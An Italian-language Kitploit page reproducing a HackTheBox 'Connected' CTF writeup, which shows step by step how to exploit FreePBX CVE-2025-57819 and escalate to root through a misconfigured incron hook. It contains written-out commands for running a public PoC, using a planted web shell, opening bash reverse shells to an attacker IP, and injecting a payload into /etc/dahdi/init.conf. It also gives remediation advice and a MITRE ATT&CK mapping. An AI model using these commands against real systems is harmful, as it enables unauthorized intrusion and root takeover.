Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HackTheBox-Connected — Writeup dettagliato di penetration testing per la macchina 'Connected' di HackTheBox, che copre lo sfruttamento di FreePBX CVE-2025-57819 (da SQLi a RCE) e l'escalation dei privilegi tramite una configurazione errata di incron fino a root. | Kitploit
Strumenti/GitHubGitHub/ikmalhanaan/hackthebox-connected
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

Writeup dettagliato di penetration testing per la macchina 'Connected' di HackTheBox, che copre lo sfruttamento di FreePBX CVE-2025-57819 (da SQLi a RCE) e l'escalation dei privilegi tramite una configurazione errata di incron fino a root.

Vedi Repository
14 giorni faNon ancora revisionato

HTB Connected Completed Banner

Hack The Box: Connected — Writeup di Penetration Testing Professionale


📋 Riepilogo Esecutivo

Connected è una macchina Linux basata su CentOS che esegue il sistema di comunicazione VoIP FreePBX v16.0.40.7 integrato con Asterisk.

Il flusso di sfruttamento (Attack Vector / Kill Chain) è composto da due fasi principali:

  1. Initial Foothold (Accesso Iniziale): Sfruttamento della vulnerabilità critica CVE-2025-57819 (Unauthenticated Authentication Bypass & SQL Injection che porta a Remote Code Execution / RCE) su FreePBX per impiantare una web shell e ottenere una reverse shell come utente di servizio asterisk.
  2. Privilege Escalation (Elevazione dei Privilegi a Root): Audit della configurazione di sistema locale e individuazione del demone incron (inotify cron) che monitora i file di spool. Il trigger esegue lo script root /usr/sbin/sysadmin_dahdi_restart quando viene scritto nel file /var/spool/asterisk/sysadmin/dahdi_restart. Poiché il file di configurazione DAHDI /etc/dahdi/init.conf è scrivibile dall'utente asterisk, l'iniezione di un payload di reverse shell in quel file di configurazione viene eseguita automaticamente con privilegi root (uid=0).

📑 Indice dei Contenuti

  1. Informazioni sulla Macchina e Ambiente di Test
  2. Fase 1: Reconnaissance & Port Scanning (Ricognizione di Rete)
  3. Fase 2: Web Enumeration & Vulnerability Identification
  4. Fase 3: Initial Foothold (Sfruttamento di CVE-2025-57819)
  5. Fase 4: Post-Exploitation & Privilege Escalation (Verso Root)
  6. Fase 5: Analisi delle Cause Profonde e Raccomandazioni di Mitigazione (Hardening)
  7. Mappatura MITRE ATT&CK

1. Informazioni sulla Macchina e Ambiente di Test


2. Fase 1: Reconnaissance & Port Scanning (Ricognizione di Rete)

Il primo passo del penetration testing inizia con una active reconnaissance utilizzando nmap per identificare le porte aperte, i servizi in esecuzione e la versione del sistema.

2.1 Esecuzione della Scansione Nmap Completa

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Spiegazione delle Flag Nmap:

  • -T4: Imposta il timing template aggressivo per una scansione più rapida ed efficiente.
  • -sC: Esegue il set di script NSE (Nmap Scripting Engine) predefiniti per il rilevamento di vulnerabilità di base.
  • -sV: Abilita il service and version detection su ogni porta che risponde.
  • -oA recon/nmap_quick: Salva tutti i formati di output (standard, grepable, XML) nella directory recon.

2.2 Risultati dell'Analisi di Porte e Servizi

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Risultati Chiave della Scansione:

  1. Porta 22 (SSH): Utilizza OpenSSH versione 7.4 (tipico dei sistemi CentOS 7).
  2. Porte 80 e 443 (HTTP/HTTPS): Utilizza il web server Apache 2.4.6 con runtime PHP 7.4.16. Il web server risponde con un redirect HTTP al dominio http://connected.htb/.

3. Fase 2: Web Enumeration & Vulnerability Identification

3.1 Configurazione del Mapping DNS Locale

Poiché il web server applica l'hosting virtuale e reindirizza il traffico a connected.htb, dobbiamo aggiungere la risoluzione del nome host locale a /etc/hosts:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Fingerprinting dell'Applicazione Web (FreePBX)

L'accesso all'URL http://connected.htb/admin/config.php tramite browser mostra l'interfaccia di gestione VoIP basata sul web:

FreePBX Web Interface

Dal footer della pagina web, si ottengono le informazioni sulla versione specifica:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Applicazione: FreePBX Administration
  • Versione: 16.0.40.7
  • Vendor: Sangoma Technologies Inc.

4. Fase 3: Initial Foothold (Sfruttamento di CVE-2025-57819)

4.1 Analisi della Vulnerabilità

La versione FreePBX 16.0.40.7 è vulnerabile a CVE-2025-57819. Questa vulnerabilità è una pre-authentication SQL Injection che consente a un attaccante senza credenziali (unauthenticated attacker) di manipolare il database backend di FreePBX/Asterisk.

Attraverso l'iniezione SQL, l'attaccante può modificare la tabella dei cron job interni di Asterisk (asterisk.cron_jobs) o iniettare codice PHP arbitrario nella directory del web server (generando una Web Shell), portando a Remote Code Execution (RCE).

4.2 Preparazione ed Esecuzione dell'Exploit

Abbiamo utilizzato il PoC exploit pubblico di WatchTowr Labs:

root@kitploit:~
# 1. Clonare il repository dell'exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Eseguire lo script exploit contro il target
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Risultato dell'Esecuzione dell'Exploit: Lo script ha sfruttato con successo il target e creato una webshell attiva sull'endpoint:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Connessione della Reverse Shell e Ottenimento della User Flag

Per ottenere una sessione interattiva (reverse shell), procedere come segue:

  1. Aprire un Netcat Listener sulla macchina attaccante:

    root@kitploit:~
    nc -lvnp 1212
    
  2. Inviare il Payload della Reverse Shell tramite la Web Shell: Inviare il payload della reverse shell usando curl con parametro URL-encoded:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. Connessione Reverse Shell Ricevuta con Successo: La connessione entra nel listener nc e otteniamo l'accesso a una shell interattiva come utente asterisk.

Reverse Shell and User Flag

  1. Recupero della User Flag:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Fase 4: Post-Exploitation & Privilege Escalation (Verso Root)

Dopo aver ottenuto l'accesso come utente asterisk, il passo successivo è eseguire un'enumerazione interna per trovare un vettore di Privilege Escalation verso root.

5.1 Enumerazione del Demone e del File Monitor (incron)

Abbiamo esaminato la configurazione del demone incron (inotify cron table), ovvero il servizio che esegue comandi quando si verifica un filesystem event (come la modifica o la creazione di un file):

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Output della Configurazione Incron:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Analisi delle Regole Incron:

  • Riga: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Meccanismo: Ogni volta che il file /var/spool/asterisk/sysadmin/dahdi_restart viene chiuso dopo un'operazione di scrittura (IN_CLOSE_WRITE), il sistema esegue automaticamente lo script /usr/sbin/sysadmin_dahdi_restart con privilegi root.

5.2 Analisi dello Script DAHDI e della Fallacia dei Permessi File Scrivibili

Un'ulteriore verifica dello script /usr/sbin/sysadmin_dahdi_restart mostra che lo script riavvia il servizio DAHDI (Digium Asterisk Hardware Device Interface) ed esegue/carica (source) il file di configurazione /etc/dahdi/init.conf.

Il controllo dei permessi sul file /etc/dahdi/init.conf mostra che il file è scrivibile dall'utente asterisk:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Sfruttamento: Iniezione del Payload e Attivazione dell'Evento Incron

Poiché /etc/dahdi/init.conf viene eseguito nel contesto di root al riavvio di DAHDI, possiamo inserire un comando di reverse shell in quel file di configurazione, quindi attivare il riavvio tramite incron.

  1. Aprire un Nuovo Listener sulla Macchina Attaccante (Porta 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Inserire la Reverse Shell in /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Attivare l'Evento Incron tramite la Scrittura del File di Spool:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root Shell e Cattura della Flag

In pochi secondi dopo che incron ha elaborato l'evento di scrittura del file, lo script root esegue la riga di comando iniettata e genera una connessione di reverse shell come root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Fase 5: Analisi delle Cause Profonde e Raccomandazioni di Mitigazione (Hardening)


7. Mappatura MITRE ATT&CK


Pwned by ikmalhanaan 🚀

Scarica lo strumento
ComponenteSpecifiche / Descrizione
Nome MacchinaConnected
Sistema OperativoLinux (CentOS / FreePBX Distro)
IP Target<IP_TARGET> (connected.htb)
IP Attaccante<IP_VPN_KITA> (Interfaccia VPN tun0)
Vulnerabilità CriticaCVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE)
Meccanismo PrivEscHook Incron Daemon Configurato Errato + /etc/dahdi/init.conf Scrivibile
Strumenti Utilizzatinmap, curl, python3, netcat (nc), bash, git
Vettore di DebolezzaImpattoRaccomandazioni di Remediation / Mitigazione
FreePBX Pre-Auth SQLi (CVE-2025-57819)Critico — Consente RCE senza autenticazione tramite iniezione nel database.Aggiornare FreePBX all'ultima versione patch ufficiale di Sangoma. Applicare una validazione rigorosa degli input e Prepared Statements / Parameterized Queries su tutti gli endpoint API.
Permessi File Non Sicuri (/etc/dahdi/init.conf)Alto — Un utente non autorizzato (asterisk) può modificare un file di configurazione eseguito da root.Limitare i permessi di proprietà e scrittura del file di configurazione: chmod 644 /etc/dahdi/init.conf e chown root:root /etc/dahdi/init.conf.
Esecuzione Automatica Root tramite IncronMedio/Alto — Lo script di automazione root carica un file di configurazione senza verifica di integrità.Revisionare tutte le regole incron e gli script /usr/sbin/sysadmin_*. Evitare il sourcing di file di configurazione dinamici vulnerabili a modifiche non-root.
TatticaID TecnicaNome TecnicaApplicazione sulla Macchina
ReconnaissanceT1595.002Active Scanning: Vulnerability ScanningScansione di porte e servizi con nmap.
Initial AccessT1190Exploit Public-Facing ApplicationSfruttamento della vulnerabilità CVE-2025-57819 sul web server FreePBX.
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellEsecuzione di comandi bash reverse shell tramite web shell e script di init.
Persistence / Privilege EscalationT1053.003Scheduled Task/Job: CronUtilizzo del demone incron per eseguire automaticamente task root.
Privilege EscalationT1574.009Hijack Execution Flow: Path/Configuration HijackingIniezione di comandi dannosi nel file di configurazione /etc/dahdi/init.conf.
Credential Access / CollectionT1005Data from Local SystemLettura delle flag user.txt e root.txt.